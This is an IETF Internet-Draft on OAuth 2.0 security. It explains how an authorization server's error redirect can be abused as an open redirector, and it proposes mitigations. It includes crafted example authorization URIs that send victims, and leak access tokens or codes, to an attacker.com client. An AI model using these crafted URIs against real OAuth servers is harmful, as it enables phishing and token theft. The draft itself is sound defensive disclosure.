Internet DRAFT - draft-oauth-sanso-open-redirector
draft-oauth-sanso-open-redirector
OAuth Working Group J. Bradley
Internet-Draft Ping Identity
Intended status: Standards Track A. Sanso, Ed.
Expires: July 24, 2015 Adobe Systems
H. Tschofenig
January 20, 2015
OAuth 2.0 Security: OAuth Open Redirector
draft-oauth-sanso-open-redirector-00.txt
Abstract
This document gives additional security considerations for OAuth,
beyond those in the OAuth 2.0 specification and in the OAuth 2.0
Threat Model and Security Considerations.
Status of This Memo
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Table of Contents
1. Introduction . . . . . . . . . . . . . . . . . . . . . . . . 2
1.1. Notational Conventions . . . . . . . . . . . . . . . . . 2
2. Authorization Server Error Response . . . . . . . . . . . . . 3
2.1. Abuse: The Authorization Server As Open Redirector . . . 3
2.2. Security Compromise: The Authorization Server As Open
Redirector . . . . . . . . . . . . . . . . . . . . . . . 4
2.3. Mitigation . . . . . . . . . . . . . . . . . . . . . . . 5
3. Acknowledgements . . . . . . . . . . . . . . . . . . . . . . 5
4. Normative References . . . . . . . . . . . . . . . . . . . . 5
Appendix A. Document History . . . . . . . . . . . . . . . . . . 6
Authors' Addresses . . . . . . . . . . . . . . . . . . . . . . . 6
1. Introduction
This document gives additional security considerations for OAuth,
beyond those in the OAuth 2.0 specification [RFC6749] and in the
OAuth 2.0 Threat Model and Security Considerations [RFC6819]. In
particular focuses its attention on the risk of abuse the
Authorization Server as an open redirector. It contains the
following content:
o Describes the Authorization Server Error Response as defined in
[RFC6749].
o Describes the risk of abuse the Authorization Server as an open
redirector.
o Gives some mitigation details on how to hinder the risk of open
redirector in the Authorization Server.
1.1. Notational Conventions
The key words "MUST", "MUST NOT", "REQUIRED", "SHALL", "SHALL NOT",
"SHOULD", "SHOULD NOT", "RECOMMENDED", "MAY", and "OPTIONAL" in this
document are to be interpreted as described in RFC 2119 [RFC2119].
Unless otherwise noted, all the protocol parameter names and values
are case sensitive.
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2. Authorization Server Error Response
The OAuth 2.0 specification [RFC6749] defines the Error Response
associated with the Authorization Code Grant flow and the Implicit
Grant flow. Both flows use a redirection endpoint where the resource
owner's user agent is directed after the resource owner has completed
interacting with the authorization server. The redirection endpoint
is also used in the error response scenario. As per [RFC6749] if the
resource owner denies the access request or if the request fails for
reasons other than a missing or invalid redirection URI, the
authorization server redirects the user-agent by sending the
following HTTP response:
HTTP/1.1 302 Found Location: https://client.example.com/
cb?error=access_denied
2.1. Abuse: The Authorization Server As Open Redirector
As described in [RFC6819] an attacker could utilize a user's trust in
an authorization server to launch a phishing attack. The attack
described here though is not mitigated using the countermeasures
listed in [RFC6819]. In this scenario the attacker:
o Performs a client registration as per the core specification
[RFC6749]. The provided redirection URI is a malicious one e.g.
https://attacker.com (namely the one where the victim's user agent
will land without any validation)
o Prepare a forged URI using the assumption that the Authorization
Server complies with the OAuth 2.0 specification [RFC6749]. In
particular with the Authorization Server Error Response described
in the previous section ( Section 2 ). As an example he can use a
wrong or not existing scope e.g.
https://AUTHORIZATION_SERVER/authorize?response_type=code&client_i
d=s6BhdRkqt3&state=xyz&redirect_uri=https%3A%2F%2Fattacker%2Ecom&s
cope=INVALID_SCOPE
o Attempt the pishing attack trying to have the victim clicking the
forged URI prepared on the previous step. Should the attack
succeeds the victim's user agent is redirected to
https://attacker.com (all with any user interaction) The HTTP
referer header will be set to the AS domain perhaps allowing
manipulation of the user.
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2.2. Security Compromise: The Authorization Server As Open Redirector
The attacker can use a redirect error redirection to intercept
redirect based protocol messages via the Referer header and URI
fragment. In this scenario the attacker:
o Performs a registration of a malicious client as per the core
specification [RFC6749]. The provided redirection URI is a
malicious one e.g. https://attacker.com (This URI will capture
the fragment and referrer header sent as part of the error)
o Creates a invalid Authentication request URI for the malicious
client. As an example he can use a wrong or not existing scope
e.g.
https://AUTHORIZATION_SERVER/authorize?response_type=code&client_i
d=malicious_client&redirect_uri=https%3A%2F%2Fattacker%2Ecom&scope
=INVALID_SCOPE
o Performs a OAuth Authorization request using the invalid
Authorization request as the redirect_uri. This works if the AS
is pattern matching redirect_uri and has a public client that
shares the same domain as the AS.
(line breaks for display only)
https://AUTHORIZATION_SERVER/authorize?response_type=token
&client_id=good-client&scope=VALID_SCOPE
&redirect_uri=https%3A%2F%2AUTHORIZATION_SERVER%Fauthorize
%3Fresponse_type%3Dcode
%26client_id%3Dattacker-client-id
%26scope%3DINVALID_SCOPE
%26redirect_uri%3Dhttps%253A%252F%252Fattacker.com
Figure 1
o Receive the response redirected to https://attacker.Com
The legitimate OAuth Authorization response will include an access
token in the URI fragment.
Most web browsers will append the fragment to the URI sent in the
location header of a 302 response if no fragment is included in the
location URI.
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If the Authorization request is code instead of token, the same
technique is is used, but the code is leaked by the browser in the
referer header rather than the fragment.
This causes the access token from a successful authorization to be
leaked across the redirect to the malicious client. This is due to
browser behaviour and not because the AS has included any information
in the redirect URI other than the error code.
Protocols other than OAuth may be particularly vulnerable to this if
they are only verifying the domain of the redirect. Performing exact
redirect URI matching in OAuth will protect the AS, but not other
protocols.
It should be noted that a legitimate OAuth client registered with a
AS might be compromised and used as a redirect target by an attacker,
perhaps without the knowledge of the client site. This increases a
the attack surface for a authorization server.
2.3. Mitigation
In order to defend against the attack described in Section 2.2 the
authorization server can either:
o Append a empty fragment "#_" to all error redirect URI
o Perform a redirect to an intermediate URI under the controll of
the AS to clear the referer information in the browser that may
contain security token information.
o Respond with an HTTP 400 (Bad Request) status code.
o Force the resource owner to grants the access request (via a
consent screen) also in the error case at least once. The way the
authorization server achieves the connsent screen validation is
out of scope of this document.
3. Acknowledgements
We would like to thank all the people that partecipated to the
discussion, namely Bill Burke, Hans Zandbelt, Justin P. Richer, Phil
Hunt, Takahiko Kawasaki, Torsten Lodderstedt, Sergey Beryozkin.
4. Normative References
[RFC2119] Bradner, S., "Key words for use in RFCs to Indicate
Requirement Levels", BCP 14, RFC 2119, March 1997.
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[RFC5226] Narten, T. and H. Alvestrand, "Guidelines for Writing an
IANA Considerations Section in RFCs", BCP 26, RFC 5226,
May 2008.
[RFC6749] Hardt, D., "The OAuth 2.0 Authorization Framework", RFC
6749, October 2012.
[RFC6819] Lodderstedt, T., McGloin, M., and P. Hunt, "OAuth 2.0
Threat Model and Security Considerations", RFC 6819,
January 2013.
Appendix A. Document History
[[ to be removed by the RFC Editor before publication as an RFC ]]
-00
o Wrote the first draft.
o Changed Document name to conform to WG naming convention
o Added Section on redirect leaking security information
Authors' Addresses
John Bradley
Ping Identity
Email: ve7jtb@ve7jtb.com
URI: http://www.thread-safe.com/
Antonio Sanso (editor)
Adobe Systems
Email: asanso@adobe.com
Hannes Tschofenig
Email: Hannes.Tschofenig@gmx.net
URI: http://www.tschofenig.priv.at
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